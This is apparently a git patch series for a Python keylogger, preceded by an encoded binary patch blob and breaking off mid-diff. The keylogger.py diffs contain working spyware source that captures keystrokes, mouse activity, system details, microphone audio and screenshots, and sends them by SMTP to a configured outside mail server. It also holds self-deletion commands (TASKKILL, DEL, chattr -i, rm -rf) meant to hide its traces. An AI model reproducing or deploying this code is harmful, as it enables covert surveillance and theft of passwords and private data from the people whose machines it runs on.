zS-Hym{3Jf3v?qW)4d0yKSG?x-7Y|G3xZOh%bdMR~1IiO!H#|I>-r>cA(fxb9I;tk3 z+o_7xfdVyMk_jlZ&A{HiYA`qbR!~s4>ec4H*FA4nOpH?AbljUUOGJTtFCDIrsv9tl zAKvQwP7-D|W)u%E& zcyDP-DU1`ydVc~+0s*5|L2)s!6P(mzI9>3bqS+rclu$z);RiI4(TO*Z3Ew=pmEYWO z)ab33i^bE!A6(=V=|XYo>~5vgC|3}RSYnfW+S8<}jho~2`zGF$5NVr+<3UbY5`eXo zF!j8fZN254QkDiCdOvN|YoktSz$AI_EX&$)^zE5|x!j?T=?EG&5LPB3W7_$yb`)^dmiScnp6&MH(W z@;d3@=qHG*Z{MHEx`;nhq%y}X>%~V2u7b%zbGoihT~79Pc2=tQ70Q}I*eal(KK-1U zQ;%<+!MFNBMXW<{_UdwB-6mQ7@{*(=`{e>TdskkP6spl<`_WJR_cyxt6C+d33WdU% z7)R8!w5R4yoKHGSW&LIqxw>E1_T@DK^G;fbcEdU&>hvR_0}35YQ2(nBBcyCC7JGH- zd^J;YmnUQ4Vn##A3~X){iPoUI(L}|&qkd7J5J$C-6$ZzB8^M~@!D2ce_!Cou1E1L~ z;eSM->+5Tm3X#m|`dzGc&vk;w<*;>df3baU;iS-R^*Y7yg{JYW5-^`p3Lslm#Ag#y zhKAYuwa-E^Ffe`+j~E`eIPW}AY_t^ot^*fEIcpOon!p5)evz!^k=r$Pzen`-2AE<4 zf5joe?u^=$MClgGbpyye24~*H+AexsrftMW%XsSyAUr+&4A6CR zEgs1cXMRsNZ9!#_lfXB=J)xarm^^?EA^q%f(eXS?YQj z^8zs?S)>!7Zf&^IU-%%KY1}^=jdm-DKci+|U9ClY(;hnExi*`fRBEz6zv0vg&wT$a z7>EAcoql|iQ2Ru^AS9$u^fizZd3boXB(YjujyEQo{rd#(4xfi1+%hns)f^t8c|6o_XbUR0Xb^La&zZ9SYzv*=kX%7orzdOhL zBv~lT`T~K*{c^nxocEptb(4^0%UBH2MV80`UdXQv?qG^ojh7 z{@cd%1J|B)-R8O{x)<~N9-KrpOdvcl!R6enEF6d6kA=dpDvIA3)pd2}H$`1uH%NF@ z<D&v zH%NHC_FY7J-K>@t)|CfEtALEv#n+<=SekFaHQ@f|xl`HMz$k}&eys&<)l~lY(M6s1 zuk_an)r2#iytyq?`76x?rvjn+@09Z~IOl(zbN+8qnSz5h_;1omVeayJ(f=V~J`wpp zNV5KsVgH+oE*HKW34ntB4YyAJ_#pMFP>55?t}5P@RZ(#f@8k!vpvOE?-(+|=MtHbD z_Mf64{dKN{A5TX{McK7?z1^;=i!rU@VM$1oOi76i28By)n>{y1n zDrvh}OW(-eUBR$%cmwVJi7GP*H7&AO$)k05xd^g27;&ynGcw-v9wwx^2;02arysu* z`a@WCP^HiT^bNAVX>n1Jg?W)VFfGZ6nt=x1+syn65&IQc^5@9taqoaGG#ZHr9yPVi zs=y99c6#@ybS>Y&0L~8}M<+S}#oZFVa-QWQB`=|Su4v9T)6t{#6=mT?Bsm}6tE{^Riu2beGhT)xO z55;q`OL$WVN2u~x4F0QG2_`mn=n|l-X+GWXOR7q$2&;v6G`YFfP}8u|u%fxWbk0Rw z_I;_gF7-9nI6seWh)BSk9@esZoyiqs=3oRH7BwdQyE*zpFQ}aZX{QVU}f+Q z(1igKGeTz9xs}}Q615v$mjs%Z>B{0QeQ~*~sWjBik)MN4G>M2v&=RULTiM!NSz4 zHx9R2^s#`Kmtgnwv3h;LOI;LUR5fTmJYfnJxs!zfOR4gp>&&asU zFq-NOBM|-~g!Vd~&|7?+T;;QUS~_2k&6`$E6=P=nTO0cxkXCUAOj$v!{}(~VYB#n z{z-0gi!Ty}`^%Vtofa<;D-y3D^>6SCeF~b5wpk)DizOmm5?(8~tsGUgUf`jwN`FAg z_wXXT>YEte_e}D)rIcO8#hIV8mAW;sKL+3s`#L%hpcVntIqUJJX7|u;63_FMDBxb7 zO0o<>|0H>Sx(f#F6Wz4S$bP9hr(yRN-*{R4Qvep;dcaUW3hjM5H1N68sMN;Hd40I7 zY*0H8VY#WYMKT?E-@D#+?A$My=P)i~7!&?CiE{&8!3j(FJZmOImaWG2{&UY$8%-*T z5kd_iG5fb|`rI+G@;EOySNuNK?L2n2ZsQ66348IC31uM~>5- zx=B^nGgE<^|FdVny52Tgza;liFV$3Z8RrHNcy!Xz*`{e{z($bMA@ku} zQoC<})Lhq?!fF{u)SfV25;EkX%54hM+|EJd?ffF4cFx{HHXzhhZ6d*?U?5{|t0=km zAB*YcEVq!d_DF0nH{*uz719LcE=;gi_ASa<+gviIrBGt?Woh8oFvx9nZhr}*pRWu1 zNxWL?TL#C_m!~nKxC2?a{bPGsPjs99A*Oqp`me=wn-(qrfWt}Q;)4w>r>4Oz;2PAo z0(7JPGZ}7@W#}8+cgZacbokas951kFC%vlMz#&2sB9%PBF7R)03%E5PgV%**t22%+ zdKl;uXh};Iv1@aex>D0p96O=Letb_z5hBQWd!3X{AMv++qcb9_!VMw{XSRYOZw8Cc zGPUp-gk4Fv>Sey!7hH;L?zkR-lWx3_nCpOWFt87j4x8UX z=hjd?TMl7*03Z7x{kf5s%&R<2uWjgaRkr5=gaJr7nMB=vyIlaCPB@Y)F-pkXXk&X0 zdVG!C{>%f>L5XG#0DzX)+j#b8u`tga$$OL*#CbDhyYl!d$UK5HhvMv!W0u5XU~NPhoZj?q3p znjV{~hTpTScz?n4RApwPa7{L37ctXM$VuL~iU~O6Kk3xVXDj@H^y0jNA8wmALjM;p z;IS2vMFt-GZVJ!{;yp`4Z*?K8Zao>1fjWiQUqf4(503Ow&#jOH2TjY4e@!3e^C~vtR&N=B-7XbV(6w%1IFS_3CB{=#g_S; zIU#N6Z`c#xpE!m-go^VDMNni!I6;dOxd{Q^jEIN*m5-T>Kz40925C+Y{woGUap+lBhaRdtJlBo%*&dDKl2!P)fJJf=cG^$w0YPQP6(Zw z@jiALoQm{wSO%`}yHX9AXDpSfZs`TKcv&REf^S@UXZ9DX9!VT8yr%lB@vU2)Ahb#7 zTRNZ>(Y|Isc&uQlz*JjJ=?Zg%AngV-8G0P9XEtO4^2w8&VsNt9x<_rtylNe;UF{TS zJq4G8Up)*o;fO+T(ya0JANSpGKsoqYj>}TOEp>C1lGVS-O20dW=Sweb{@*+U-P@+f zSC9z0pkQ(ZlWV5Z6IK#CUkr`;zlX2cZTVUH;T#5dyQ&0DX%r@{@?r=Hwo{iDQN~E)2>uCW~Bnm z1~1=xi2$#809yRA7C>1e;W3%kEP8)p8bh>)CNR$hWX%U0TFJL{nE(DsUt-xK`=ee8 zjGcGvlmM*>?gJoee%7SJL&&-MYpW)mHt1@1wln=W{$(Fl4t+*k8Xr4oB@U3zFE)AP zpSf!*eJu*r0{C@eX4e#cx;D<@`V%q3eHumlNP&w3!y(FI^WjW7ddRG5kX?#uZA~3r zJ|iHwb7Y=5*pNIB$h&&PPjxj52tjvANB}K^BXkTJN%!;+$Px*0sqL{VqbwlE4`w7T zvN}y1dRKmZuij`FI90{8v~Rk$iY~HJJ3+fC{mJwTn?fhueeROy4dS&p!Q z`sEXtYHF7UCaidE^Xk_iK)&2y9h#+yf^7rjAwVV6wdj}`cF!@e)FkSqfSBaGBE^0K zs?HjB{N1A?yI_urRg^5#_BH3p{#~j1>8-(ui=~{dykS&={M=*cs(wAgC{zxSsk#k` zlfH1Cf10@ActF&IM!VoxE{ToZr@%ig18tEk+0in!qaS{Nz4U$&ZAibI7YNILqyMny zbhb~WGul6PaE&Y;RhsSUfKquF?!IacuWpSjO!pG4MW$c&0-lRBPA{KnT6Qr%KeuT- zv@w)|sQoWzyNfpyI-ruB@C__^^ATeJZk6pxzk_Y|zA2QQiBih0&vDp#SJtS3Y8Dh6 z`wE<(eF@h?-^2?Iir>-!u_H@BtlhE>oTa|ZRYL$p=+`?Vx^9Ut(}fq1hO;vy=D2FL zYLA4H%1It%{k6$;A`SfgDb!FukuH5a(BduT!MY^1A;7Z@mCnq#!TkhYD+Jy7L7yKT z?HQ}Zh4>pX-8#27(9q41Qt(k}r@p;sL^N<}o8Rp1{Qg}W;7H~QoaidQSgZ~*E-3g6 z+Udv}y1BBg;ZLJ=Igz_Icx`^vBQ-yVp=r1S%)pI40sc!SJCw9eyrk(Vjon)@Qhuuz zGTeeFyD?T(oIPlp8B+w}JQ0MK$N++?n#*|mj?4Yz8-@*~XA@z;F&kzQ@qRkt z;nPFnkuVQrAc%IqZ=5Fi*Vul6<$oZHJr4MnvRI${_m@I#Qu0GMn=cz!n)X>^UQdR+` z)}@W}^y;m2${Y!Yw5L?;e*yVbbnnS|v+M|*e>xl`Rg+sdHRza8_6ikh-k(ni9%THpxlyIoxYT@wEcY|x0L>W@rKdI-(c zI~F%p;uKt{iudGBOwKPwi>X0~Kg38R?}H z*;@;Z^>%cXI!yN|q%aP31Jo0Ut@idDY^*H6a}yH&;<~<)*x0m$e*j?b)i2$D6oG?hS=6ontPKAX@S zBtTP|&)mrjBLL;;mybJuJW%NkN)3gZjKwY>-jawQx(D2D;=G{6MtdZh_SX#j2zf&n zIvaTr<5RWvbr?02wBhjDB0zPDPh>h!Uk~W2&3K<&5OFeK3tqZ4<&1~vTyX%3Y<+0C z$8&D35V}9!v>QO+pQEv;0|-e0w4e(A=m-sf3w*Fau$lfLgSEseUaIG1SdrfWy`1}T ztFb;q8?8%ISohoz(1D zH3{_E5>W=fx0v^F*1srdd7crpis%Cp%BAZ4=c2mPS1!>`LR63RiPNLDHUeaTaY@$o zuu25;S6B=$P%%AcDB}~ojucop022hVvFZF8G7>e)5NRyaU952%ULw#jkWOx=7Cf>fX_Ym!P=jG{P1?M3}-i$vLzY=ps@{>!H7BU4C+FZ)o ztEwMAPym{4VLQ+f&F*~ zM#MNFuU%irfTdqh>anvMl#te^z<~1*1Sl|U+WrO4gp=`oNv>wAT#yoXp~PW8|56pOcAjf;m=V+JSM%DTb#q~?{gtR9eKPf zIJ2ZJj=DBJw?n3_w#g_-bxcJcMG%A@1}GaJ0m+xLOAf0~bE+;W0R42(OU)b&z~#DT`8mr(>-r~*lmv+#OVHlBqcg3?7EnWj z#xC{zES7LFmJz#&jQpnCX8Y^TLYbZ?6)%WR{`SDAd09wh5S0k_5g8GaJ)xm_|ARC$ ziC1u!BDD6Ys^(f8+Ikx`^b%kdN6|EVygT2{jP=jpo@;Lrv>Y2V(y}#_820_za zY{B&2`tW_$`uZ(pv((%f%tb$&)J|FQ6-QSIG>Wm(@6Yk1VN8RImveiG&2M_%KoFEp zS4%ME0XAHE-V)tu1?9EW7WJK9J&5Qi3j6sRFgt2DxLN`ATg&6OS_oxk-ci1*h(q-p zOMBw;#JskrUo}a*xU~R@b=4MclL+Jq^VQFQW=ACzWkUiSGI|4}-`)!nR5Jmw#3{&) z#jh|`rOboezGfDp5G@0~K9in)QK`#);}VC-=kKp_B!D~R{0;jf7l6sPJs1g!&Zft^ z%mHKu3`0wrl4W5nO4$@ss9*MN_iuxkFiB-E&XN>mY#3)MQVPE=L-Gw`d(Iw4ojj&WmIM3&T+T?X@&H;5U;5g;tw;O7D_6Bs| zabmTE2VB$E{Bg+?{(EWDd`-0akd7E)>a*baZjsAx(2B$M^Pvvdw-1^HWln-vRw#u4 zmlmg{DsXq1nga zOIYk_+9u+}&)g>|-C#N)s}hx-(6ynQHCi}os}mN}vUSFbgzwX$RajiEa+tX0$1ILXPDMqgG=X0*G-u-M{f@k^JExE*7mb-dtbQ5u^gqL)?t zEc?6=cI2}MrmV4X%S@N`KT?ei4F@s(<*Iun`$xTZ=Ld+ku3B!dfmlj-9DeoS1isrI zR$;HHX1Z`#jY=qG~#<&9p1MRh8%aeg#Ixn_@vT<*~RI&fojXv&dz^JPmcM-7H z9lAdI5J?faQlY51_D+_M*YjwGn-@9yl5OI_n0ai^3Ks=^k>1~76 zz1_zu`Sj`2#TGzCrI13pPmY$#?xgS8me&&LA5cX%Bt`8K>i{UyS=81oXB(335Z|)z zkdPb(wgBP42|mqfqLt!UXZl{IPd zV9W+O=Fg0ED^%Alj7;eWa1Z)wpke^N0tcxS7>)DJfh|Wx$+_MEiCkYQ z-KOLBF}rMaDuUF50c8-vV?adaI=%gMr&~sP4?|(7sg>_0wGLn+R&X~PP3f$#_7RZa zKj*`}ttst3yB)NQOG|US8HxN`MFkk7=(ath5^TDF+i2(FSIhe$AVFL;=1WiW*5wzx z+ufoyLg*Uk`5azX@EBhdb3x7g!Zov4@gpq3(Sg8Gqy-j|(T3qBhRC^MIwT%=xg)~I z_CIfFV(R8mgNgSq&%4tt9YUy5w2`rWAqC@<-l`{e1&Hk{08n4T>*Ngx9^MU|Xldb5 zhJ17))Uh9v;S;vnGA0o8h{=%lfpG zGA`!1Kmzd)qhF95&=mZ0YvQ;!3qV=w)tuUU)cIJEq?I+dVD@x=E`j-zI^gOx^K5#6 zpW{4xzPwn1hi^r}ZQ`!u+2$dDZ(G##q?yIwr2f!uEVSkJbl4O259gp@w2g(${-(9T zy~P8giOma?&JWf+Dr({X9kscJa(zzy(AZ!JA3(x2>q^lc*wd#SxQ^ij79_+LE%*;F zIv?H3-T7zq!=Kf3s0}5EUIeI&SXndPqEc07L)~asg%B1|6+jvcT=% zoeAxJcI1)3-PAu;%@8rK)@pIDEedI+A_zxz3=lT7S@ao&{>BqDMEq}at4m!anmViZ z{?$4SEEWsxfWuGV+OY4hB^O+O)aTyHbSlhSf@isbk!f5=0j?6@$q!W zvNB3CS}2amppALM8nM{7oPgm4!5HF|R`ibo#fKv~U58~YS=VhHfj4m)Dpj5Ar)m4K^H4aC(V8_DFIZXigWr?q|>xtg}G>*G{@1h9_3|`FXSqvbEtl zX69LK6)S1`o&I_M2`{SB4%iCwA;Uk9jJ8HAmB(;5(J9#RZ$GLihZ_I>QA4Cryf?RG zV2|bjgyl0DAkg(&KD}f4Q8furTm#tI-LwqS+VQb6Z)r2n3~jzxY5%xe0MxkvADU~{ z4cByn>xmKmWrbVppBs-Ro&~{cGXY{0I{Qkb4yaxxHwJ94Hs z?AZw|7?qXw>TH&aqL>jYQYo?3j7(ktL;7W+P7M$T0LHhU{!KUEEI6(8{K&v(l~sh? z8!-8vj(3o3+S;71%#OfgfveYUr#r^|3BwA~A?eJ%EmbDNEuO20iu!=_z)Xmhc&w9C zQup6G%dm6)3ul?m8kr)pP+}L|%f^P~7{F+_0cguMtQBB0RZc*q)c59fUy_f<^GFhH&69A_|!pSuG)|FH@h{S=0^}RRcO;z)|&nBYIUg+Tl4VAD@6V4?Ya&tBn@t zPAQgO_60naQ}U~d4J)*~`iZ4bWHH=LH^lD_<65O;?}3QVIxTw#KkvAq+NBAwbre3r z>4GdQOp6bhkluW0n)1Wqwk_DCDX_5=`?-{P89e;3NJ{qUn76ixsAYs}ecL~+xq($- zPj16Roc$6@1@>xT2w0FKwOz;c=!K^6qJwU0TN`K6H|?NAYQJ&H$E*!|aRvKX*bUx6 zO|)2VDpgCX8H+2c1c!$2f0mcS#^;qu-}-CTZFn7_P;m942%a?@jZBwsgD`qsOvW>X=%%p6HFKu9jK!B8^|F=VFgn0TcpfGuMG;B=Y9A z)Xurt9W`v~w1rggUjMvTMt*?tD-i%8XxCd4YDTpMe{IDQf00R8%pZTW_KbS^Lc-s_wzij zGqUfE;WguYEz(?YWc?I3IoPI5&?!)2+nl2gPmeRbYz0l1W{~lo3uWNr$wW4C`lTH9 zDK1ov=?|4ye8(7AbE9G{;;5Dd$@xg;FWf?QgfRH$>P9xOjtbpviule<3CF;mBT#yElwTu$Yq^;;*O`mkhEP&i0jD>k~-8vV%-azuy&@KG3gE#=C zq<4FiUnkBntImgt=S+;DMmV~!HfA+HGN^+zRjroii$QN`A`SiW+Yvuy_HafM2qUK{ zVU}h$O@ zF)v4@6tlOGxh$V^hPySta(w!pj-00QjbSkZxt>S>h_Ku2@Z=Y6gdbbB?!XKj!&X9dMupcoj!_4%x@>)T_|^ZKHBi6(}S=Kg!?8`&+1BG)TNoUR*x(xINzs5d2vSHJ`kUvXEQ*hWh)nUTI@IB+YudT(A%+;|;?#YtPCtII10^ z9_^Q#2cj@|qAfI|nzc=@k0G}B@jggtk}q^Jc3(Xyjz;51v$gQvwvtg(6t88uXRI#! z!fKOt3}PK(0@6_k?MXnB+#UG0dGemxii0j<#X%zeS0`8U>#dcgs}eZTS=6FAKCj-h zRoC=UU98id=2YR=@^%%?20vEjaa@sYYnx3g;F>z{%T%6$ZAMzwq2x&JFn*W z)?tei{L-rXcM5WJ4me=LNs>|&eJ?pKsA769y~>MH6C@fA7|~ve|ZRPPC6eV#kIotDY})DBlt>3JcF~;%$t8vDP=yP=kes>1R=Ivg$dL(%I*JS z#Ic2~kDUFk(dRK{jT%SM>Kl(p_vR`$R8s2EV_kY`!Q$!VtCN z-A~`4lKPn>&K7Q^%hGal14XWEvtB;_xs_V1sL?BGQGwpCy~}v#KaR{h>Kora-rn5S Yg7f(x8gao47={`rDSqBnUcsEd0c51W#sB~S diff --git a/keylogger.py b/keylogger.py index 584a456..ea90ef6 100644 --- a/keylogger.py +++ b/keylogger.py @@ -1,145 +1,145 @@ -try: - import logging - import os - import platform - import smtplib - import socket - import threading - import wave - import pyscreenshot - import sounddevice as sd - from pynput import keyboard - from pynput.keyboard import Listener - from email import encoders - from email.mime.base import MIMEBase - from email.mime.multipart import MIMEMultipart - from email.mime.text import MIMEText - import glob -except ModuleNotFoundError: - from subprocess import call - modules = ["pyscreenshot","sounddevice","pynput"] - call("pip install " + ' '.join(modules), shell=True) - - -finally: - EMAIL_ADDRESS = "YOUR_USERNAME" - EMAIL_PASSWORD = "YOUR_PASSWORD" - SEND_REPORT_EVERY = 60 # as in seconds - class KeyLogger: - def __init__(self, time_interval, email, password): - self.interval = time_interval - self.log = "KeyLogger Started..." - self.email = email - self.password = password - - def appendlog(self, string): - self.log = self.log + string - - def on_move(self, x, y): - current_move = logging.info("Mouse moved to {} {}".format(x, y)) - self.appendlog(current_move) - - def on_click(self, x, y): - current_click = logging.info("Mouse moved to {} {}".format(x, y)) - self.appendlog(current_click) - - def on_scroll(self, x, y): - current_scroll = logging.info("Mouse moved to {} {}".format(x, y)) - self.appendlog(current_scroll) - - def save_data(self, key): - try: - current_key = str(key.char) - except AttributeError: - if key == key.space: - current_key = "SPACE" - elif key == key.esc: - current_key = "ESC" - else: - current_key = " " + str(key) + " " - - self.appendlog(current_key) - - def send_mail(self, email, password, message): - sender = "Private Person " - receiver = "A Test User " - - m = f"""\ - Subject: main Mailtrap - To: {receiver} - From: {sender} - - Keylogger by aydinnyunus\n""" - - m += message - with smtplib.SMTP("smtp.mailtrap.io", 2525) as server: - server.login(email, password) - server.sendmail(sender, receiver, message) - - def report(self): - self.send_mail(self.email, self.password, "\n\n" + self.log) - self.log = "" - timer = threading.Timer(self.interval, self.report) - timer.start() - - def system_information(self): - hostname = socket.gethostname() - ip = socket.gethostbyname(hostname) - plat = platform.processor() - system = platform.system() - machine = platform.machine() - self.appendlog(hostname) - self.appendlog(ip) - self.appendlog(plat) - self.appendlog(system) - self.appendlog(machine) - - def microphone(self): - fs = 44100 - seconds = SEND_REPORT_EVERY - obj = wave.open('sound.wav', 'w') - obj.setnchannels(1) # mono - obj.setsampwidth(2) - obj.setframerate(fs) - myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2) - obj.writeframesraw(myrecording) - sd.wait() - - self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj) - - def screenshot(self): - img = pyscreenshot.grab() - self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img) - - def run(self): - keyboard_listener = keyboard.Listener(on_press=self.save_data) - with keyboard_listener: - self.report() - keyboard_listener.join() - with Listener(on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll) as mouse_listener: - mouse_listener.join() - if os.name == "nt": - try: - pwd = os.path.abspath(os.getcwd()) - os.system("cd " + pwd) - os.system("TASKKILL /F /IM " + os.path.basename(__file__)) - print('File was closed.') - os.system("DEL " + os.path.basename(__file__)) - except OSError: - print('File is close.') - +import logging +import os +import platform +import smtplib +import socket +import threading +import wave +import pyscreenshot +import sounddevice as sd +from pynput import keyboard +from pynput.keyboard import Listener +from dotenv import load_dotenv +# from email import encoders +# from email.mime.base import MIMEBase +# from email.mime.multipart import MIMEMultipart +# from email.mime.text import MIMEText +# import glob + +load_dotenv() + +EMAIL_ADDRESS = os.getenv("EMAIL_ADDRESS") +EMAIL_PASSWORD = os.getenv("EMAIL_PASSWORD") +SMTP_SERVER = os.getenv("SMTP_SERVER") +SMTP_PORT = os.getenv("SMTP_PORT") +EMAIL_SENDER = os.getenv("EMAIL_SENDER") +EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER") +SEND_REPORT_EVERY = 60 # as in seconds + + +class KeyLogger: + def __init__(self, time_interval, email, password): + self.interval = time_interval + self.log = "KeyLogger Started..." + self.email = email + self.password = password + + def appendlog(self, string): + self.log = self.log + string + + def on_move(self, x, y): + current_move = logging.info("Mouse moved to {} {}".format(x, y)) + self.appendlog(current_move) + + def on_click(self, x, y): + current_click = logging.info("Mouse moved to {} {}".format(x, y)) + self.appendlog(current_click) + + def on_scroll(self, x, y): + current_scroll = logging.info("Mouse moved to {} {}".format(x, y)) + self.appendlog(current_scroll) + + def save_data(self, key): + try: + current_key = str(key.char) + except AttributeError: + if key == key.space: + current_key = "SPACE" + elif key == key.esc: + current_key = "ESC" else: - try: - pwd = os.path.abspath(os.getcwd()) - os.system("cd " + pwd) - os.system('pkill leafpad') - os.system("chattr -i " + os.path.basename(__file__)) - print('File was closed.') - os.system("rm -rf" + os.path.basename(__file__)) - except OSError: - print('File is close.') - - keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD) - keylogger.run() - - + current_key = " " + str(key) + " " + + self.appendlog(current_key) + + def send_mail(self, email, password, message): + m = f"""\ + Subject: main Mailtrap + To: {EMAIL_SENDER} + From: {EMAIL_RECEIVER} + + Keylogger by F3000\n""" + + m += message + with smtplib.SMTP(SMTP_SERVER, SMTP_PORT) as server: + server.login(email, password) + server.sendmail(EMAIL_SENDER, EMAIL_RECEIVER, message) + + def report(self): + self.send_mail(self.email, self.password, "\n\n" + self.log) + self.log = "" + timer = threading.Timer(self.interval, self.report) + timer.start() + + def system_information(self): + hostname = socket.gethostname() + ip = socket.gethostbyname(hostname) + processor = platform.processor() + system = platform.system() + machine = platform.machine() + self.appendlog(hostname) + self.appendlog(ip) + self.appendlog(processor) + self.appendlog(system) + self.appendlog(machine) + + def microphone(self): + fs = 44100 + seconds = SEND_REPORT_EVERY + obj = wave.open("sound.wav", "w") + obj.setnchannels(1) # mono + obj.setsampwidth(2) + obj.setframerate(fs) + myrecording = sd.rec(int(seconds * fs), samplerate=fs, channels=2) + obj.writeframesraw(myrecording) + sd.wait() + + self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=obj) + + def screenshot(self): + img = pyscreenshot.grab() + self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img) + + def run(self): + keyboard_listener = keyboard.Listener(on_press=self.save_data) + with keyboard_listener: + self.report() + keyboard_listener.join() + with Listener( + on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll + ) as mouse_listener: + mouse_listener.join() + + if os.name == "nt": + try: + pwd = os.path.abspath(os.getcwd()) + os.system("cd " + pwd) + os.system("TASKKILL /F /IM " + os.path.basename(__file__)) + print("File was closed.") + os.system("DEL " + os.path.basename(__file__)) + except OSError: + print("File is close.") + else: + try: + pwd = os.path.abspath(os.getcwd()) + os.system("cd " + pwd) + os.system("pkill leafpad") + os.system("chattr -i " + os.path.basename(__file__)) + print("File was closed.") + os.system("rm -rf" + os.path.basename(__file__)) + except OSError: + print("File is close.") + + +keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD) +keylogger.run() diff --git a/requirements.txt b/requirements.txt index c50cda2..61674c8 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,4 @@ -pynput==1.7.3 -pyscreenshot==0.5.1 -sounddevice==0.4.3 -Pillow==9.3.0 +pynput +pyscreenshot +sounddevice +pillow From 963a3f4dc6f8f2eb157087a38f7235ba26eddbed Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sun, 21 Jan 2024 19:34:05 +0100 Subject: [PATCH 02/24] Modified license file --- LICENSE | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/LICENSE b/LICENSE index 261eeb9..34374a5 100644 --- a/LICENSE +++ b/LICENSE @@ -186,7 +186,7 @@ same "printed page" as the copyright notice for easier identification within third-party archives. - Copyright [yyyy] [name of copyright owner] + Copyright [Filippo Piconese] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. From 46995c0aa23d64833166069774994bf9bd020a1c Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 10:40:46 +0100 Subject: [PATCH 03/24] Functions test --- keylogger.py | 86 +++++++++++++++++++++++++++------------------------- 1 file changed, 45 insertions(+), 41 deletions(-) diff --git a/keylogger.py b/keylogger.py index ea90ef6..ebfb2f7 100644 --- a/keylogger.py +++ b/keylogger.py @@ -3,12 +3,12 @@ import platform import smtplib import socket -import threading +# import threading import wave import pyscreenshot import sounddevice as sd -from pynput import keyboard -from pynput.keyboard import Listener +# from pynput import keyboard +# from pynput.keyboard import Listener from dotenv import load_dotenv # from email import encoders # from email.mime.base import MIMEBase @@ -24,13 +24,13 @@ SMTP_PORT = os.getenv("SMTP_PORT") EMAIL_SENDER = os.getenv("EMAIL_SENDER") EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER") -SEND_REPORT_EVERY = 60 # as in seconds +SEND_REPORT_EVERY = 60 # seconds class KeyLogger: def __init__(self, time_interval, email, password): self.interval = time_interval - self.log = "KeyLogger Started..." + self.log = "KeyLogger Started...\n" self.email = email self.password = password @@ -76,10 +76,11 @@ def send_mail(self, email, password, message): server.sendmail(EMAIL_SENDER, EMAIL_RECEIVER, message) def report(self): - self.send_mail(self.email, self.password, "\n\n" + self.log) + # self.send_mail(self.email, self.password, "\n\n" + self.log) + print(self.log) self.log = "" - timer = threading.Timer(self.interval, self.report) - timer.start() + # timer = threading.Timer(self.interval, self.report) + # timer.start() def system_information(self): hostname = socket.gethostname() @@ -87,11 +88,11 @@ def system_information(self): processor = platform.processor() system = platform.system() machine = platform.machine() - self.appendlog(hostname) - self.appendlog(ip) - self.appendlog(processor) - self.appendlog(system) - self.appendlog(machine) + self.appendlog('hostname = ' + hostname + '\n') + self.appendlog('ip = ' + ip + '\n') + self.appendlog('processor = ' + processor + '\n') + self.appendlog('system = ' + system + '\n') + self.appendlog('machine = ' + machine + '\n') def microphone(self): fs = 44100 @@ -111,34 +112,37 @@ def screenshot(self): self.send_mail(email=EMAIL_ADDRESS, password=EMAIL_PASSWORD, message=img) def run(self): - keyboard_listener = keyboard.Listener(on_press=self.save_data) - with keyboard_listener: - self.report() - keyboard_listener.join() - with Listener( - on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll - ) as mouse_listener: - mouse_listener.join() - - if os.name == "nt": - try: - pwd = os.path.abspath(os.getcwd()) - os.system("cd " + pwd) - os.system("TASKKILL /F /IM " + os.path.basename(__file__)) - print("File was closed.") - os.system("DEL " + os.path.basename(__file__)) - except OSError: - print("File is close.") - else: - try: - pwd = os.path.abspath(os.getcwd()) - os.system("cd " + pwd) - os.system("pkill leafpad") - os.system("chattr -i " + os.path.basename(__file__)) - print("File was closed.") - os.system("rm -rf" + os.path.basename(__file__)) - except OSError: - print("File is close.") + # keyboard_listener = keyboard.Listener(on_press=self.save_data) + # with keyboard_listener: + # self.report() + # keyboard_listener.join() + # with Listener( + # on_click=self.on_click, on_move=self.on_move, on_scroll=self.on_scroll + # ) as mouse_listener: + # mouse_listener.join() + + # if os.name == "nt": + # try: + # pwd = os.path.abspath(os.getcwd()) + # os.system("cd " + pwd) + # os.system("TASKKILL /F /IM " + os.path.basename(__file__)) + # print("File was closed.") + # os.system("DEL " + os.path.basename(__file__)) + # except OSError: + # print("File is close.") + # else: + # try: + # pwd = os.path.abspath(os.getcwd()) + # os.system("cd " + pwd) + # os.system("pkill leafpad") + # os.system("chattr -i " + os.path.basename(__file__)) + # print("File was closed.") + # os.system("rm -rf" + os.path.basename(__file__)) + # except OSError: + # print("File is close.") + + self.system_information() + self.report() keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD) From e34ffadd08f7b2f09516660e1b67af4d39c565e0 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sat, 10 Feb 2024 11:07:37 +0100 Subject: [PATCH 04/24] Microphone function modified and tested --- .gitignore | 4 +++- keylogger.py | 31 +++++++++++++++++++------------ 2 files changed, 22 insertions(+), 13 deletions(-) diff --git a/.gitignore b/.gitignore index 2eea525..8ac92a9 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,3 @@ -.env \ No newline at end of file +.env +.wav +.png \ No newline at end of file diff --git a/keylogger.py b/keylogger.py index ebfb2f7..cdf2ba4 100644 --- a/keylogger.py +++ b/keylogger.py @@ -24,7 +24,7 @@ SMTP_PORT = os.getenv("SMTP_PORT") EMAIL_SENDER = os.getenv("EMAIL_SENDER") EMAIL_RECEIVER = os.getenv("EMAIL_RECEIVER") -SEND_REPORT_EVERY = 60 # seconds +SEND_REPORT_EVERY = 10 # seconds class KeyLogger: @@ -88,28 +88,33 @@ def system_information(self): processor = platform.processor() system = platform.system() machine = platform.machine() - self.appendlog('hostname = ' + hostname + '\n') - self.appendlog('ip = ' + ip + 